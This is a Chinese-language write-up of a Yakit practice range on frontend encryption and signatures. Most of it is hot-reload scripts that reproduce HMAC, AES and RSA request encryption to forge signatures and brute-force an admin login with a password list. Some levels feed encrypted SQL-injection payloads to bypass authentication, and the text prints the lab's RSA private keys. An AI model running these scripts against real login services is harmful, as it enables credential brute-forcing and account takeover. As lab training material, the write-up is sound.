yakit-靶场-高级前端加解密与验签实战(for嵌套纯享版)
高级前端加解密与验签实战
一、前端验证签名(验签)表单:HMAC-SHA256
使用hmac-sha256的十六进制key值可以加密
与页面加密后的值相同
热加载:
encryptData = func(p) {
//sha256key值key = codec.DecodeHex("31323334313233343132333431323334")~
//账号密码username = ["admin"]password = x"{{x(pass_top25)}}"
//定义列表变量resullistresultlist = []
//for循环嵌套username、password排列组合for uname in username {for passwd in password {
//定义message:为加密前的参数格式message = f`username=${uname}&password=${passwd}`
//结果=十六进制编码(ase256编码)=sign结果值result = codec.EncodeToHex(codec.HmacSha256(key, message))
//m为整个请求体m = {"signature" : result,"key" : "31323334313233343132333431323334" ,"username" : uname,"password" : passwd}i = json.dumps(m)resultlist.Append(i)}}return(resultlist)}
二、[前端验证签名(验签)表单:先 HMAC-SHA256 再 RSA
首先对需要加密的内容sha256加密后根据给出的publickey加密在转为十六进制即可获取sign
替换可绕过签名
热加载:(注:publickey每次启动时会更改)
encryptData = func(p) {
//sha256key值key = codec.DecodeHex("31323334313233343132333431323334")~
//账号密码username = ["admin"]password = x"{{x(pass_top25)}}"pubulickey = `-----BEGIN PUBLIC KEY-----
MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAngHo3NyLc95Rmo5uzCih
mJwHciTdsSr/NNm3e9GqFmNMajqq8iDYLzPuqcG1Tzr1gA0D0xkXPGetzzqMOkPZ
mvO/l+JwuAMiP3kO9CUaOCBOM6CARC0Iaa59Nz/kX/qXd3VoPHVOyqDr3U0oTKVU
o6GVJUpNB14v5QD/IXRZFQHiHaH/SfjJsK+j9VtZQaPGl2ircKbNFC8I3OTA1rK3
DsnTfsBp7I5LERV/8J7L24xOnnNX1a5FuxK5VN4zb5VMduytULIYrc2XxE93WMCN
/cVQc8vpO8UkxCqL25eV2ZYV47obv/YF/2dg/pVnLZfvqTpkX3m98J7Wsnv+mTpt
NwIDAQAB
-----END PUBLIC KEY-----`
//定义列表变量resullistresultlist = []
//for循环嵌套username、password排列组合for uname in username {for passwd in password {
//定义message:为加密前的参数格式message = f`username=${uname}&password=${passwd}`
//结果=十六进制编码(rsa(hex(ase256编码)))=sign结果值result = codec.EncodeToHex(codec.RSAEncryptWithPKCS1v15(pubulickey, codec.EncodeToHex(codec.HmacSha256(key, message)))~)
//m为整个请求体m = {"signature" : result,"key" : "31323334313233343132333431323334" ,"username" : uname,"password" : passwd}i = json.dumps(m) resultlist.Append(i)}}return(resultlist)}
第二种:
encryptData = func() {key = "1234123412341234"dump(key)publicKey = `-----BEGIN PUBLIC KEY-----
MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAzEHpYzW8tXIHUNwTnZXj
8Vz9MBX1/Jb6TdRw6v2FPkJ3UlobiHgzUn/LMcC8L9wKMFQvA3h88ij3GNgH4iED
1iJzHhhc0FCG9HGQK4JgDwPzrwW7JCoL7OyjJ6EBVND4ETMXBnm2s0DJnt4zrMGN
ZSyNoEtfJaNHOm0ZZFTgi1ON/bdfVIOhVgZFbDZWJUVyPbStGaoT5gIj8HgC866d
I997i82jzk3Urou1a11jHvUB4ZL5mwrdawPsC7eok9h6M4iRFLYPmmay1NYCdr5G
GC1x6idk73/vXx7f9Y6+gQVhsKmOCQOQeE4kGhzs+3m000yOiMUb520T1HYER6SD
PwIDAQAB
-----END PUBLIC KEY-----`data = "username=admin&password=123456"signature = codec.EncodeToHex(codec.RSAEncryptWithPKCS1v15(publicKey, str(codec.HmacSha256(key, data)))~)body = f`{"signature": "${signature}","key": "31323334313233343132333431323334","username": "admin","password":"123456"}`dump(body)return body
}beforeRequest = func(rsq) {body = encryptData()return poc.ReplaceBody(rsq, body /*type: []byte*/, false /*type: bool*/)
}
三、CryptoJS.AES(CBC) 前端加密登陆表单
解密:base64 --> aes-cbc
加密:aes-cbc --> base64
加密后与表单加密data相同
解密:
热加载爆破
热加载:
encryptData = func(p) {//aes-cbc,密钥和偏移量key = codec.DecodeHex("31323334313233343132333431323334")~iv = codec.DecodeHex("e90599cc4a0915b0250ed11f70ca4c58")~//账号、密码username = ["admin"]password = x"{{x(pass_top25)}}"//定义列表遍历resultlist[]resultlist = []//for循环嵌套,排列组合生成账号密码for uname in username {for passwd in password {//定义message内容为被加密参数以及参数值message = {"username":uname,"password":passwd}//对message转为json格式i = json.dumps(message)//对i进行cbc加密,默认 PKCS7Padding填充,后base64加密result = codec.EncodeBase64(codec.AESCBCEncryptWithPKCS7Padding(key, i, iv)~)resultlist.Append(result)}}return resultlist
}
四、CryptoJS.AES(ECB) 前端加密登陆表单
无需偏移量只需密钥即可加解密
解密:base64 --> aes-ecb
加密:aes-ecb --> base64
解密:
加密:与表单data加密内容相同
热加载爆破
热加载:
encryptData = func(p) {//aes-ecb 只需密钥不需要偏移量key = codec.DecodeHex("31323334313233343132333431323334")~//账号、密码username = ["admin"]password = x"{{x(pass_top25)}}"//定义列表resultlist,使其组合生成的json格式字符串存入resultlistresultlist = []//for循环嵌套,排列组合生成账号密码for uname in username {for passwd in password {//定义message,格式为加密内容格式message = {"username":uname,"password":passwd}//dump为json格式传入ii= json.dumps(message)//ecb后base64result = codec.EncodeBase64(codec.AESECBEncryptWithPKCS7Padding(key, i,nil)~)resultlist.Append(result)}}return resultlist
}
五、CryptoJS.AES(ECB) 被前端加密的 SQL 注入
与上述四题同理,只不过加入了sql注入
相同加解密手法即可
如果需要请求包解密的话需要beforeRequest可查看最后一题
热加载爆破:
热加载:
encryptData = func(p) {//aes-cbc-sql注入key = codec.DecodeHex("31323334313233343132333431323334")~//账号、密码username = x"{{x(xpath-injection)}}"password = x"{{x(pass_top25)}}"//定义resultlist列表,将for嵌套循环的json格式输入进列表中resultlist = []//for循环嵌套,排列组合生成账号密码for uname in username {for passwd in password {//定义message来设定加密内容格式message = {"username":uname,"password":passwd}//dump为json格式i = json.dumps(message)//将message加密ebcresult = codec.EncodeBase64(codec.AESECBEncrypt(key, i, nil)~)resultlist.Append(result)}}return resultlist
}
六、CryptoJS.AES(ECB) 被前端加密的 SQL 注入(Bypass认证)
和第五关相似可直接用第五关热加载万能密码绕过
七、AES-ECB 加密表单(附密码)
解密:base64 --> aes-ecb
加密:aes-ecb --> base64
替换data解密成功
热加载爆破
热加载:
encryptData = func(p) {//aes-ecb 无需偏移量key = codec.DecodeHex("31323334313233343132333431323334")~//账号、密码、年龄username = ["admin"]password = x"{{x(pass_top25)}}"age = 123//定义resultlist列表,将转化的json格式字符串输入resultlist = []//for循环嵌套排列组合for uname in username {for passwd in password {//定义message 为固定加密内容message = {"username":uname,"password":passwd,"age":age}//将message循环后的字符串dump成json格式i = json.dumps(message)//加密result = codec.EncodeBase64(codec.AESECBEncrypt(key, i, nil)~)resultlist.Append(result)}}return resultlist
}
八、RSA:加密表单,附密钥
提供了publickey和privatekey
也可base64解出公私钥
解密:base64 --> RSA-OAEP sha-256
加密:
替换后前端解密成功
热加载爆破:
热加载:
encryptData = func(p) {//前端RSA-OAEP无需填充publickey = `-----BEGIN PUBLIC KEY-----
MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA8tV/wzS3Lu27BeeDL6ih
m1NHqiMiO7XtHA81iaYw4LAx/GcuTtCoEkTm816K6aKxCCqMnr3Ge3tPWiKnidfI
10pZyA0f48oi/AtmTp5IC5xKi/kY79YUTwzphe36jWQ6DnIOr60XCyj2Ln6Pt8UE
PJG5mYnxnY4Mh5hK+mSysod13BbtRHslpeIZ0VrN8uE7qy68DnWvAYzJfaCjOlIz
BLMULq+8RXHsVqS1M6IarKx++hcPlZHjh6NADR+XUByOhpWdwQhmLeOxJxUuXtXB
OHiBUaGfdsYSHRSRJs91roLtw0cp4CdjT+6mMlWjVNyPlfyJigOaq5Ui6BfOjKg9
hwIDAQAB
-----END PUBLIC KEY-----`//账号、密码、年龄username = ["admin"]password = x"{{x(pass_top25)}}"age = "123"//定义列表变量resullistresultlist = []//for循环嵌套username、password排列组合for uname in username {for passwd in password {//定义message:为加密前的参数格式message = {"username":uname,"password":passwd,"age":age}//dump为json格式传入ii = json.dumps(message)//结果=base64(rsa加密)=sign结果值reslut = codec.EncodeBase64(codec.RSAEncryptWithOAEP(publickey, i)~)resultlist.Append(reslut)}}return resultlist
}
九、RSA:加密表单服务器传输密钥
访问密钥链接
第八题热加载爆破,解密与第八题相同
十、RSA:加密表单服务器传输密钥+响应加密
相同获取密钥方式
解密与上题相同
解密响应包
热加载与上述RSA相同
encryptData = func(p) {//前端RSA-OAEP无需填充publickey = `-----BEGIN PUBLIC KEY-----
MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA0taak0t06jYBxOlICEsG
39Ey37KXbHVBuo0D+KN4iQcTow0BSGgIacNviJzwf8cSKJA/6O1jM4IeRkbDZ2BP
C8/8uIB0C9HdivdQmNpBMEluTnyvrjHmO40J/FkZ2MSYNzSKuZd81+CxkCftuKEn
LOI5zzqxEk2grACKH06lPs9GuMeGvznn8nzIyqy7xWlJdKXOXRUTwLnjNag5KTCD
6N5gcET1MPCGW71sEQ0HUvePfyZ4AN4Vq7DZRtQ7LGMPHJ/kB1z0qxrYfikwXCFd
sCcnckcFCC/2+DaL4MklpJSlb5b59aC4WGmS+V/qUOf8YzK6zRDtdfe4Cu2vWwui
kwIDAQAB
-----END PUBLIC KEY-----`//账号、密码、年龄username = ["admin"]password = x"{{x(pass_top25)}}"age = "123"//定义列表变量resullistresultlist = []//for循环嵌套username、password排列组合for uname in username {for passwd in password {//定义message:为加密前的参数格式message = {"username":uname,"password":passwd,"age":age}//dump为json格式传入ii = json.dumps(message)//结果=base64(rsa加密)=sign结果值reslut = codec.EncodeBase64(codec.RSAEncryptWithOAEP(publickey, i)~)resultlist.Append(reslut)}}return resultlist
}
解密响应包:
序列使用:
设置后提取响应包内公钥,同理获取私钥
两种热加载方式:
序列
var PRIVATE_KEY = `-----BEGIN RSA PRIVATE KEY-----
MIIEvgIBADANBgkqhkiG9w0BAQEFAASCBKgwggSkAgEAAoIBAQDkbHvHkoa146Np
/8e6Qs10mriMNGZuu7vHLWt76sV9p4ZAyb4dcv6xjdZMD4fwJJe9ONazy0U///wM
ROvVe/YaeDejAk1CPmm2p3jnPcC7g7AbwSbODQuVVx0OdFu1fM0fN4C/gu3pdC/S
LP1gYbNnzCRvjEpGwHPumrWGJdt0YrzfG24mdmK8ODT7k/t2dkts6HxcT8BLBOAj
opcKSVSlnE4sbmSkcWvn1FV4hDcNBVFjyNyjrwDh4Cl4s7gzEwDl9N7+HRU6qYtM
aJ6ZNCrxk9nbURTrigS0s5Z51lMAf2IVjVtkNC2r/UxTSKU/i8BA0xDaB0FkW3Os
btVojOi3AgMBAAECggEAIIozt+JvvkmHZfpCAY6ypgHEeHSegvfLcDxQK37uU1Ai
F+ilZJyVG8YQ2RT9UIBl/VazfzldzBgzV6wZzHe0P2EQy+/wAZfSh2qkFoz9f7jq
xYlmdcP1+nhGc2CwD9KPhfrqJF4Kdk9O4Kn4Dlrcq9Sw/BMIIbwYx8zSPyH1eUay
p2vv5KpYcdlKO+6dobuqIgL6c2qkQN5pJ9iO7xKIdD1nX0lUXRs/Sokttq03JwX6
uX3VUrf6pUl6mvTKF6AC2q793UyqBNbaLSiU03VaV+6tjV7ko+i4cNLhqMmfnNdO
QoMGdPSwzKLxQPCdfYjnMtzIl/gmnqoi9wHzYXUoAQKBgQD3GBwJQdnvdiSiGq9e
fQoZ9Y51XrCmUSwwKROayaLTaSO6CjSs40DQh4uV+eHOp+Ire4yg03euYfigvwPC
k5epG4dNG5pMi8vLLFLxaZshHjJ1Ul4IlBdLig5Kp10HieVom3NxSJCw+R61xlfw
95bdWoBJKWQ+UO6HurKLWjy4gQKBgQDsqBsNkaEi3u1KyIUlaQtYy+MCNWuPPY60
ohtpuetmEYi2cg4u6ciBxWYi3xM4rSr/UDMNgxLCq6odVXQnTEjSH33JtJgUwwYk
C9PP9E8sHwieVidr6IV4MSK0lBV46gSAVk8xnyv+huTJxpUNZPT51HIN+eJyi9Ys
L+aPuIbFNwKBgCmC0WL0vyotjOX22bNkCkhmKnKpX7/xLx1AKVz9tu8RYMEmaccJ
vp/JxbeCbV8McUCg1vVF0XtoVh6bOIR9yyLLzyUzF+74JVqSrbSE61za99sh5U5H
oso7/T6pc0WK8xFp3DER4cz5bSFYmvmOfrfdNmQUIhUd/5Sp1sj2dfEBAoGBANCq
4T+zmrseiWiZKh10Y9bl38IAzFg+1Oec0EMG9fLHnx4Pr0XaSTtzjL1OqKoetnzs
gDd3zUDtEFBRGtvTvZnYvpbtr/MOiwmZjCgeqPikXHsQSC4zlgwGdy12LQCyh0mJ
0MZWLPp+gpkPijmHPSJUGkUMgoixmCTaD5fGAr89AoGBALbWdQz8xDBDTFjO4Bz4
dy6XL1Fsxl3kc9WHlvRJEzjiZjS99GmzFaUK88PiONx1t3DtaqWhujin3TXf3D9N
JUcZUWwmhYdgmoiAz/ryro9qJO/gCzUuBT0HOzq5l9Wh4msRs3j1ow4MvsEjCr1x
WGtpNwl1sPaB+VuwVXX5hUnK
-----END RSA PRIVATE KEY-----
`
decryptData = func(packet){body = poc.GetHTTPPacketBody(packet)jsonbody = json.loads(body)data = codec.DecodeBase64(json.loads(body).data)~data = codec.RSADecryptWithOAEP(PRIVATE_KEY, data)~data = string(data)body = json.ReplaceAll(jsonbody, "$..data", data)body = json.dumps(body)return poc.ReplaceBody(packet, body, false)
}encryptData = func(p) {//前端RSA-OAEP无需填充publickey = `-----BEGIN PUBLIC KEY-----
MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA5Gx7x5KGteOjaf/HukLN
dJq4jDRmbru7xy1re+rFfaeGQMm+HXL+sY3WTA+H8CSXvTjWs8tFP//8DETr1Xv2
Gng3owJNQj5ptqd45z3Au4OwG8Emzg0LlVcdDnRbtXzNHzeAv4Lt6XQv0iz9YGGz
Z8wkb4xKRsBz7pq1hiXbdGK83xtuJnZivDg0+5P7dnZLbOh8XE/ASwTgI6KXCklU
pZxOLG5kpHFr59RVeIQ3DQVRY8jco68A4eApeLO4MxMA5fTe/h0VOqmLTGiemTQq
8ZPZ21EU64oEtLOWedZTAH9iFY1bZDQtq/1MU0ilP4vAQNMQ2gdBZFtzrG7VaIzo
twIDAQAB
-----END PUBLIC KEY-----`//账号、密码、年龄username = ["admin"]password = x"{{x(pass_top25)}}"age = "123"//定义列表变量resullistresultlist = []//for循环嵌套username、password排列组合for uname in username {for passwd in password {//定义message:为加密前的参数格式message = {"username":uname,"password":passwd,"age":age}//dump为json格式传入ii = json.dumps(message)//结果=base64(rsa加密)=sign结果值reslut = codec.EncodeBase64(codec.RSAEncryptWithOAEP(publickey, i)~)resultlist.Append(reslut)}}return resultlist
}// 修改响应包
afterRequest = func(rsp){return decryptData(rsp)
}
mirroHTTPFlow
//加密
encryptData = func(p) {//前端RSA-OAEP无需填充publickey = `-----BEGIN PUBLIC KEY-----
MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAoEpQP1HQ2CDllubw30U2
6UBmhyjE3QHxkvD3kpIOzVFnKG3xY6rDNOfi4x9mzREcrSO8P0myuRaIjNrVo3wx
sAVe0meVPgVG1g1D2bQawNAeLVhJLjQBgPGSYGyh/olJBvQAVGITIxi5U81Lr2Rv
I8rBG0jDmH1tA4gE9CNTX780eUzOL6OTs7gC4vTeAGtHqeGmRnF8zghI6tDOYT4F
CRwyRvEx4aOJx5kJaaxfmXmG4bF5T6/OTJSlAPm/Xr+tWZJ2+/BPGpw4BEWx+bfy
P5cq5OpVJqIJhkbU3hsgK2m9A/yQcNcVhAzAu0gOep33/W7x9282fdxQ1tktIh4q
bQIDAQAB
-----END PUBLIC KEY-----`//账号、密码、年龄username = ["admin"]password = ["admin"]age = "123"//定义列表变量resullistresultlist = []//for循环嵌套username、password排列组合for uname in username {for passwd in password {//定义message:为加密前的参数格式message = {"username":uname,"password":passwd,"age":age}//dump为json格式传入ii = json.dumps(message)//结果=base64(rsa加密)=sign结果值reslut = codec.EncodeBase64(codec.RSAEncryptWithOAEP(publickey, i)~)resultlist.Append(reslut)}}return resultlist}
mirrorHTTPFlow = func(req,rsp, packet) {// 获取私钥以解密响应数据pem = packet.privatekey// 切割响应中的数据,作为 JSON 加载_, body = poc.Split(rsp)body = json.loads(body)// 获取响应中加密的部分data,切割后的响应数据作为body,获取其中data参数,后通过base64(rsa)解密得到明文data返回值data = codec.RSADecryptWithOAEP(pem, codec.DecodeBase64(body.data)~)~return string(data)
}
十一、前端RSA加密AES密钥,服务器传输
解密:rsa解密aes的key,iv,后aes解密
aes(key,iv)=rsa(base64)
result=base64(aes-gcm)
其中存在RSA加密的AES的key和iv
解密:key
解密:iv
响应包key:
响应包iv:
为AES-GCM加密
热加载:
encryptData = func(p) {//RSA加密AES密钥和偏移量//公私密钥publickey = `-----BEGIN PUBLIC KEY-----
MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAngHo3NyLc95Rmo5uzCih
mJwHciTdsSr/NNm3e9GqFmNMajqq8iDYLzPuqcG1Tzr1gA0D0xkXPGetzzqMOkPZ
mvO/l+JwuAMiP3kO9CUaOCBOM6CARC0Iaa59Nz/kX/qXd3VoPHVOyqDr3U0oTKVU
o6GVJUpNB14v5QD/IXRZFQHiHaH/SfjJsK+j9VtZQaPGl2ircKbNFC8I3OTA1rK3
DsnTfsBp7I5LERV/8J7L24xOnnNX1a5FuxK5VN4zb5VMduytULIYrc2XxE93WMCN
/cVQc8vpO8UkxCqL25eV2ZYV47obv/YF/2dg/pVnLZfvqTpkX3m98J7Wsnv+mTpt
NwIDAQAB
-----END PUBLIC KEY-----`privatekey = `-----BEGIN RSA PRIVATE KEY-----
MIIEvQIBADANBgkqhkiG9w0BAQEFAASCBKcwggSjAgEAAoIBAQCeAejc3Itz3lGa
jm7MKKGYnAdyJN2xKv802bd70aoWY0xqOqryINgvM+6pwbVPOvWADQPTGRc8Z63P
Oow6Q9ma87+X4nC4AyI/eQ70JRo4IE4zoIBELQhprn03P+Rf+pd3dWg8dU7KoOvd
TShMpVSjoZUlSk0HXi/lAP8hdFkVAeIdof9J+Mmwr6P1W1lBo8aXaKtwps0ULwjc
5MDWsrcOydN+wGnsjksRFX/wnsvbjE6ec1fVrkW7ErlU3jNvlUx27K1QshitzZfE
T3dYwI39xVBzy+k7xSTEKovbl5XZlhXjuhu/9gX/Z2D+lWctl++pOmRfeb3wntay
e/6ZOm03AgMBAAECggEAKvzOA7ik4AMuJGR31GeBf2mDxRQulFLkV9abyr4CDlE5
qvUHKRSyfDUey2R+FW4u+IWR8s6yuaZjbSu6lud6vmNuTr42eHmxyZ7/6IBnn7l6
TSVvgBzYWxgzzOI/GbWtm7x/fWNU6l/Zi73AJwob+uCtGRYb2tNPKHia8Nkcm1AY
atJ3mrgb9fx6CeSW4y6VU1Gq7iSIn7NFMaRnS6v+cvV3ILCFJ3uNq+8/APe9AGCD
imiGDNOlDw76QkmabD4m9rS+BzGOMYXFGEW55e99oKk+fKqSIV+GDvqTRoBUQcnd
4soEiVXcGQ66t0nV6ilJ8d/xh3B9HGX3BHk4FJWM4QKBgQDIppSwV/ojz7rvtJSn
k79cKxMD04kSQkjHh/VKcT4GE6h45l+6zcR7KBqyQKNeIcMwSwMm1vMaBBOKYVz2
K4UW7PrtiIvrBvpqeglVKLghWladared7yDvKEHFGik1QXWBHN+GvhntvHRJeCPI
qVKBynbhp1UOK6TlC4NF/gar2QKBgQDJl/nj9mRvZ14XFkSZ2TtUqHrHzoPGMB3z
YmioY6DTVwWG9WviqjFQw7jqkoJdJ7dQ4YW4turtMNY3Sg5HxyuzjztzoPyqD6M2
gdsM6ghuPoq1l6p+h2YMVmEtbWLZ+T3njfgylE3JxLuAbFVYggr2bNJWIf0qfMUO
4OM73kmHjwKBgQCGvV4xwRJng/JrT19X3N5u3ToKor10NnC7FLCCSeM1n3PNpB36
yny7myW6N6+84X06a9T0+vkKqlwY2+LaKEVaLM8gPUaAEBKO995Wgl6LfyeU0/nz
o4YBM45e9n9flNJ8XlA4ImY1AA0y3Otir1mJcNU+GOkD+AjmCkIf+UKvmQKBgEOE
0T9WwODHIC5fWO6mYUbDfwv40Q3KA94GccMkSzM9jC5deJrcIdRJGWAHXf5RVQaT
4jOxoBF9L+IovYuw26QyLtlVbAqRXjrdVz6GC/jQnaigeYwTUUyEidurLVaQMfmi
BST7ouoXKC2lGxifxYgvfms2yxI149JN5A2jL8FlAoGARsUjJP/DvdDGEVlsNbDB
UnUKxT8aWtxtPLKQfTUla/T7AEtwysUO3bog27aXptWIzx5lNQs+w9Gum2QfiuEx
naUe50VJfQODPYOWMAfPRfXycMcImSlNq/RpP3b73ABKak3GAoGrDPbCZKZ/PfhL
TRNkegCNcIzDs03dmw+xUVE=
-----END RSA PRIVATE KEY-----`//账号、密码、年龄username = ["admin"]password = x"{{x(pass_top25)}}"age = "123"//AES密钥和偏移量解密,RSA(publickey,base64)key = codec.RSADecryptWithOAEP(privatekey, codec.DecodeBase64("H5N2T9QqHedusVO1wa+8DOOcAUN+T0A1cIEhyi93bkKVbEvfFsoFx67ZOTYVyRiSUDEfnC91QgJJnX6Cu2KhkgnwzJXaqDhXuUKvyRvcackSCvBCKbkuqQhguNEITQh0Qw6TqkKpC5x74JNEb5MKZ9/LqqtcA0clVteqS3m9KYx/+93rfQ7yqlPPh87dtSSCmYHw32uKe1u+/eRDofp8Oe/XJlyUa6AIAJ21jo2vt2L2NHoqItnG82xmLrweSoe1U9HBYKDOY1JrO1D/n8GLB9uZPcyBgGm/fSCM02JaMrTuSJdyEQlVuya0rTafVtEbQVtEt0uHbycV1c+7ou96EA==")~)~iv = codec.RSADecryptWithOAEP(privatekey, codec.DecodeBase64("XOAFlHCWYhVbNO8ffnUS2CM400QCwoucjLOLiqhVDALw5DqpKeQpFfkt44h8alHX1Gx/JMxYNWVGOcA26leSclkah3NS1FC9CxLOWhUjhnHXwpS11iSIksoozEVqKOz4cOFDU/ysK59TYXZ7D3ymtUnRd1Op2C1j8ghDpS8+RoaXazfKahBFY7msfGPA3mNxdezcmuhKdVKdQa/BIYRdq/C3jY2SmbHByVgAYC4audPzM11z1SrLF4QVYnhc50rEVnjI1yo3E+49GJ8/0dpBIwQByrc5vwzzq8lu/uStBZ7XZJ0yk+K9gxp6SgKLPzp/8qksZZeY4czLzUYxadX4eQ==")~)~//定义列表变量resullistresultlist = []//for循环嵌套username、password排列组合for uname in username {for passwd in password {//定义message:为加密前的参数格式message = {"username":uname,"password":passwd,"age":age}//dump为json格式传入ii = json.dumps(message)//结果=base64(AES-CGM-size12加密)=sign结果值reslut = codec.EncodeBase64(codec.AESGCMEncryptWithNonceSize12(key,i,iv)~)resultlist.Append(reslut)}}return resultlist
}
热加载爆破:
解决http响应加密问题:
序列+mirro方式:
(可固定key+iv或是拟定或随机key和iv对encryptedIV、encryptedKey、data进行加密来达到效果)
获取公钥加密,获取私钥解密
同理提取响应包内容
热加载:
encryptData = func(p) {//RSA加密AES密钥和偏移量//公私密钥publickey = `-----BEGIN PUBLIC KEY-----
MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAoEpQP1HQ2CDllubw30U2
6UBmhyjE3QHxkvD3kpIOzVFnKG3xY6rDNOfi4x9mzREcrSO8P0myuRaIjNrVo3wx
sAVe0meVPgVG1g1D2bQawNAeLVhJLjQBgPGSYGyh/olJBvQAVGITIxi5U81Lr2Rv
I8rBG0jDmH1tA4gE9CNTX780eUzOL6OTs7gC4vTeAGtHqeGmRnF8zghI6tDOYT4F
CRwyRvEx4aOJx5kJaaxfmXmG4bF5T6/OTJSlAPm/Xr+tWZJ2+/BPGpw4BEWx+bfy
P5cq5OpVJqIJhkbU3hsgK2m9A/yQcNcVhAzAu0gOep33/W7x9282fdxQ1tktIh4q
bQIDAQAB
-----END PUBLIC KEY-----`privatekey = `-----BEGIN RSA PRIVATE KEY-----
MIIEvgIBADANBgkqhkiG9w0BAQEFAASCBKgwggSkAgEAAoIBAQCgSlA/UdDYIOWW
5vDfRTbpQGaHKMTdAfGS8PeSkg7NUWcobfFjqsM05+LjH2bNERytI7w/SbK5FoiM
2tWjfDGwBV7SZ5U+BUbWDUPZtBrA0B4tWEkuNAGA8ZJgbKH+iUkG9ABUYhMjGLlT
zUuvZG8jysEbSMOYfW0DiAT0I1NfvzR5TM4vo5OzuALi9N4Aa0ep4aZGcXzOCEjq
0M5hPgUJHDJG8THho4nHmQlprF+ZeYbhsXlPr85MlKUA+b9ev61Zknb78E8anDgE
RbH5t/I/lyrk6lUmogmGRtTeGyArab0D/JBw1xWEDMC7SA56nff9bvH3bzZ93FDW
2S0iHiptAgMBAAECggEAXDTjnMkv3mRuLjSDc6yZPeyyDiZBuPEZSnIbuNEUer/N
G9DC/5aH3LNYLVcvB+BEIsVf0PhQO3De9EgehYE4BA3S0i6MB7V5XkEbOu0ERs5x
zZvv3QhFpStSDO3w8j9/JuTOG7yfTZ03XyHF3Atmc6x7EXr2KY5dW56vWtHHcFfg
XMRviQkysLEPtQIIsyq3qU8DZ0TC44IWk903PohyJkbT0JyrxvcS1fl40CTUo+v3
Lr8PLKk3J9A2FXw87gqiSLaOUkDBnG02bhmMlF8HcQLBuxNnY7w9H95uipFl0kEQ
tupf/QOhY4hBS1/Ek+cV0I5TLD0z92bz/YYDgf5HgQKBgQDDShfP9X8NhHBI4iy1
wgZ/Xrxtaeea1MPfDlnv6aF+voVV46iwWJb50+Ydl8UJ+KTIYvirYr67fT3+YoeY
zTMHrRBWZI2wdtTJTRZbqBSYTux9/CQI4zIyIAfQnpmRTm30SyHaP5DInRAcYBsp
t6uNIn2GRkvEVtuw1OSKVwLR2QKBgQDSHtmlV/0PVsZvBb2bWOhVwIVC7EqUwDiH
lxE8UB7JtzPlb79ILA4LQmlnA9DdyQbBTSndrmmeaiNNWo2Da1Xw6p8khjmpHb5X
TofW3NhRcC0rVcRoMQ0FWz+m8MOxxLxQXkaiCuXHN7NallOZeKJw/wpGi1qVPcV4
gtoXgfKstQKBgGbaGvh3v1aLLef01r9TVMC4UFz/re8pp49Oq6djUJ7EEM1PfYSC
4+Dn7QYg7LF3trGjDnyVIQb1yzSzB98+E2Yzi6s0gjsyGpd6dhAH0fD1gDBKH2Be
6AzmObdyEEcrG1XSTB355HMD5XxMUYIDLeLDC4EwfK8HX+Ud+s+xS9bhAoGBAKcQ
uGRqzV7A1A26NsOpsTFdXZeUYMhc/ZVxW9bkrVYdQDoQ27n6rT/ukffCZPOyvpg7
TipgXsICCgebFCGF2lMveVGFF5uLdqfcXM1N0wENfByUmRFuzrePkdCeZjqV/lS4
YNi+aWw4sXY5SEciT6YgYn8sld1LvBLRl65ROC5xAoGBALRSAbI9+Yci4JTidajy
+a6RBbnZxW21tR2xdgyBxlCaNXs3obc9tNL/AjKRSGhmqDfnW0Dk+LiaeJhjLpIX
ModQwzJH5RTa2fY4qYmx4O7vzBopxVMCVtohqn5Mqlp0KL/gQP2G3szgYaB/Z8Zv
ia2VCm3zykblsoSn8gzUo3DA
-----END RSA PRIVATE KEY-----`//账号、密码、年龄username = ["admin"]password = ["admin"]age = "123"//AES密钥和偏移量解密,RSA(publickey,base64)key = codec.RSADecryptWithOAEP(privatekey, codec.DecodeBase64("YrtvJREhDaJjsf3pU5pfMV/u5zt/ZgNiZArRs+upWc4t1PQaAGWvOZm+dJlKh6whRhqRDcFLBvBr8PqiAIDmBqTKBETBjwnObBI2jz/wzULzvEpHkUodR6pQCX5RqRftfTStXoKVe3kfgQKduU5XTtlFXTlQqqQXeuEn0u9Vu/W/mOL0qo5gpSOfjBujxGVbjHCMILUJvX9LnpJhdTBFIyka7R9gJWxJPQm+Bko17Aa2R8a+DXAIpRYx+3LlS5KLodopF7EAJ8ZB+XPrbQGzQnxiJ7ZR2/vWEM0yRcFBZCw68Yi2S/9So9DTooSXrDQp3C8dc/6n3voI6zqB1TzH9w==")~)~iv = codec.RSADecryptWithOAEP(privatekey, codec.DecodeBase64("L8A6ty9EwGl3itWZ++Gi0dqa1znNtMBYcHBu8mvEsFdxOKzB45czIL44mjr1kKR/eei2qpGJamv6KcKQT3wu+y5mZ2xFxgGo3ZD+hBQBR8uu7I2IjqEt7Av2Auhy59wModn8Y1MSebRSo8uLK3SSL7rKKd5Om48GU7AbQH6uyCp33L2zZsvdacHFHdR92nQsGEu4R4VOH9Zrxe9bCGUd10Yc/u1UsJ30D3y8WXu9kRqlA/XmyK1mk5M1ImNF0pd0vdq/DWtlb6+95Z9EH4biP1A7BD/8Dx2amZWfW8KqKJjBXIHONoVllnFhOkqjYQJsWS+qoDVQTVar9ChEw8k6Gw==")~)~//定义列表变量resullistresultlist = []//for循环嵌套username、password排列组合for uname in username {for passwd in password {//定义message:为加密前的参数格式message = {"username":uname,"password":passwd,"age":age}//dump为json格式传入ii = json.dumps(message)//结果=base64(AES-CGM-size12加密)=sign结果值reslut = codec.EncodeBase64(codec.AESGCMEncryptWithNonceSize12(key,i,iv)~)resultlist.Append(reslut)}}return resultlist
